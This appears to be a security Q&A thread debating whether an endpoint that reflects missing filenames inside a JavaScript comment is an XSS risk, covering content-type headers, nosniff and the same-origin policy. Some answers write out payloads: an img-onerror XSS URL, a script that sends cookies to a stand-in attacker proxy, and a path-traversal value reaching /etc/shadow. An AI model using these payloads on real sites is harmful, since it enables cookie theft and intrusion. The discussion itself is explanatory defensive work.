We recently had a security scan done on our production web applications and received a notification of a potential XSS vulnerability on a particular URL that is used to retrieve a combined response containing multiple js files.

Example: http://example.com/CombinedScripts?file=foo.js&file=bar.js

And the server would return the contents of both foo.js and bar.js combined/minified/etc. If you pass in an invalid filename, it includes in the response the name of the file it couldn't find inside a comment in the javascript.

Example: /* Unable to find file 'foo2.js' */

I was able to successfully craft an HTML page that pointed to this CombinedScripts handler and displayed an alert box using a script tag with a URL like:


Since this URL only returns javascript (not HTML), is this actually an XSS vulnerability?

The pages where this URL is referenced throughout the site don't use any untrusted user input in generating the URL.

There is no actual HTML involved here and pointing a user directly to this URL would just make the javascript show up in their browser, not execute it.

If I had my own HTML page and could put the malicious URL in a script tag, then I can inject malicious javascript but it would be running in the context of the page I already control, not the context of the site that served the javascript so I could just as easily put the script directly in the HTML page I control.

  • No, but if you rely on other sites trusting your domain as a reputable source of scripts, then you are introducing a flaw that could break this trust. This is usually only applicable to CDNs, for example Google hosting JQuery libraries and you would of course need to allow users to insert their own scripts from trusted domains to succeed. You should also verify that there are no path traversal vulnerabilities (file=/etc/shadow). Dec 8, 2014 at 14:26
  • @SilverlightFox: Thanks for the comment. The scripts are only consumed by the site that produces them, not any other sites. Also, the example is simplified (its actually pulling js files embedded from a .NET assembly and not actually hitting the filesystem) so no path traversal concerns. Dec 8, 2014 at 17:55

3 Answers 3


Generally speaking, no, this is not a Cross Site Scripting (XSS) issue.

You can have three problems:

  1. If the attacker control the first bytes of the output, the Rosetta Flash attack can be used to trigger a Cross Site Scripting (XSS), regardless of the content-type of the page. But if you start the output with /*, like you said you do, I can not see any risk;
  2. Outdated browsers (e.g.: IE 7) have content-sniffing issues, so even you setting the content-type of your page to text/javascript, an attacker could trick the browser to execute your page as HTML. Nowadays, this type of attack is very rare. Use the following header to become safer;

X-Content-Type-Options: nosniff

  1. If you have sensitive informations in your javascript based on an authenticated session, you have other vulnerability, called Cross Site Script Inclusion (XSSI).

Important update:

I am supposing you are serving the page with Content-Type: text/javascript.

If you are serving the page with Content-Type: text/html and you are not encoding < and >, you are completely vulnerable to XSS.


http://example.com/CombinedScripts?file=<img src=x onerror=alert(9)>

  • 1
    If they put in a good file and a bad file, wouldn't it return javascript from the good file with a comment saying it can't find the bad file. But if the comment is started with /*, couldn't the bad file's name start with */, followed by arbitrary code that then could be executed? Dec 5, 2014 at 21:00
  • 1
    @Lawtonfogle I can't see the risk based on what the author said The pages where this URL is referenced throughout the site don't use any untrusted user input in generating the URL.
    – Lucas NN
    Dec 5, 2014 at 21:04
  • 2
    @Lawtonfogle All the attacker can do is reference the file in his own website and attack himself. What is useless, since he can attack himself when he wants.
    – Lucas NN
    Dec 5, 2014 at 21:05
  • 1
    If you can get some web site to give you any javascript you want from it, can that javascript be used to access cookies from that web site? Dec 5, 2014 at 21:19
  • 2
    @Lawtonfogle Based on the same-origin policy, the answer is no. Let's say you have alert(document.cookie); in good.com/js, if you insert <script src="//good.com/js"></script> in evil.com you will see an alert with evil.com cookies, not with good.com cookies.
    – Lucas NN
    Dec 5, 2014 at 21:24

What about a link such as http://example.com/CombinedScripts?file=<script>send(cookie.getData,attackersProxySite);</script> ?

Do your properly encode the html characters passed in?

Edit: Since this appears to allow the attacker to send any javascript from you webiste site to thier webpage, I thought this would allow them to access data they shouldn't. But it seems I was mistaken and the same origin protection is based on the origin of the html page the javascript is in, not the javascript file. Thus your vulnerability is if they can managed to return an entire web page.


Depends on if you are serving the content-type correctly on your js files. It is a common misonfiguration for js files to be served with text/html content-type. This won't break a page including the js file, but it will cause a modern browser to render the file as html if the url is enterred directly in the address bar.

A scammer can send bogus urls via emails to targets in hopes that they will click the seemingly safe looking url. But if the js files is served as html and rendered, then they can execute arbitrary js code on the client and potentially exfiltrate cookies or any other confidential information available to that page. Worse, they may even be able to take advantage of any zero-day vulnerabilities that may exist in the client browser.

In practice I would say to change that mechanism so it is not dependent on url input, or at the very least it should perform input validation checking and output an error on unrecognized input. But in theory you will be much safer if you ensure you are serving the content-type as text/javascript

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .